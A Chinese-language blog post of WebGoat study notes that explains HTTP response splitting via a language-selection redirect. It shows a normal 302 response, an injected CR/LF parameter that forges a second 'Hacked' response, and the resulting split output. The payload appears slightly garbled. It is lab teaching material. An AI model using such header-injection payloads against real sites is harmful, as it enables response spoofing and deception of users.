webgoat筆記——HTTP Response&…

webgoat介紹的第一個漏洞就是HTTP Response Splitting。這個漏洞主要是因爲輸入的惡意指令在重定向某個頁面時產生攻擊。具體來說,攻擊者利用web應用程序缺乏有效地輸入驗證,允許攻擊者將CR和LF字符插入到響應頭,將服務器的迴應拆分成兩個不同的http消息頭。這樣攻擊者用第二個相應來實現攻擊。最常見就是選擇語言。重定向代碼如下:正常情況下,當用戶輸入其選擇的語言的時候,比如english,那麼會跳轉到/by_lang.jsp?lang=English頁面,其響應如下:
  1. HTTP/1.1 302 Moved Temporarily  
  2. Date:Wed,24 Dec 2003 12:53:28   
  3. Location: http://victim.com/by_lang.jsp?lang=english  
  4. Server: Apache Coyote/1.1  
  5. Content-Type: text/html  
  6. Set-Cookie: JSESSIONID=1PMRZOIQQzZIE6iivsREG82pq9B017h4YoHZ62RXjApqwBE   
  7. Connection:Close  
HTTP/1.1 302 Moved Temporarily
Date:Wed,24 Dec 2003 12:53:28 
Location: http://victim.com/by_lang.jsp?lang=english
Server: Apache Coyote/1.1
Content-Type: text/html
Set-Cookie: JSESSIONID=1PMRZOIQQzZIE6iivsREG82pq9B017h4YoHZ62RXjApqwBE 
Connection:Close


從以上可以看到的是:輸入的參數(english)已經提交到HTTP頭中,這樣我們就可以構造特殊的字符來拆分HTTP頭,併到其後追加一個自己構造的頭。比如我們提交如下的參數(已經過URLEncoding):


  1. foobar Content-Length: 0 %oaHTTP/1.1 200 OK Content-Type: text/html %Content-Length: 19 Hacked  
foobar
Content-Length: 0

%oaHTTP/1.1 200 OK
Content-Type: text/html
%Content-Length: 19

Hacked


那麼服務器返回的響應如下:


  1. HTTP/1.1 302 Moved Temporarily  
  2. Date:Wed,24 Dec 2003 15:26:41 GMT   
  3. Location: http://victim.com/by_lang.jsp?lang=foobar  
  4. Content-Length:0  
  5.   
  6. HTTP/1.1 200 OK  
  7. Content-Type: text/html  
  8. Content-length: 19  
  9. Hacked  
  10. Server: Apache Coyote/1.1  
  11. Content-Type: text/html  
  12. Set-Cookie: JSESSIONID=1PMRZOIQQzZIE6iivsREG82pq9B017h4YoHZ62RXjApqwBE   
  13. Connection:Close  
HTTP/1.1 302 Moved Temporarily
Date:Wed,24 Dec 2003 15:26:41 GMT 
Location: http://victim.com/by_lang.jsp?lang=foobar
Content-Length:0

HTTP/1.1 200 OK
Content-Type: text/html
Content-length: 19
Hacked Server: Apache Coyote/1.1 Content-Type: text/html Set-Cookie: JSESSIONID=1PMRZOIQQzZIE6iivsREG82pq9B017h4YoHZ62RXjApqwBE Connection:Close


其中第一個響應是302 重定向的響應,第二個響應是我們自己構造的響應。當客戶端收到第一個響應之後會像相應頭的Location指向的目標發起第二個請求,而這個時候客戶端會認爲第二個響應正是針對第二個請求的響應,從而達到了欺騙的目的。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章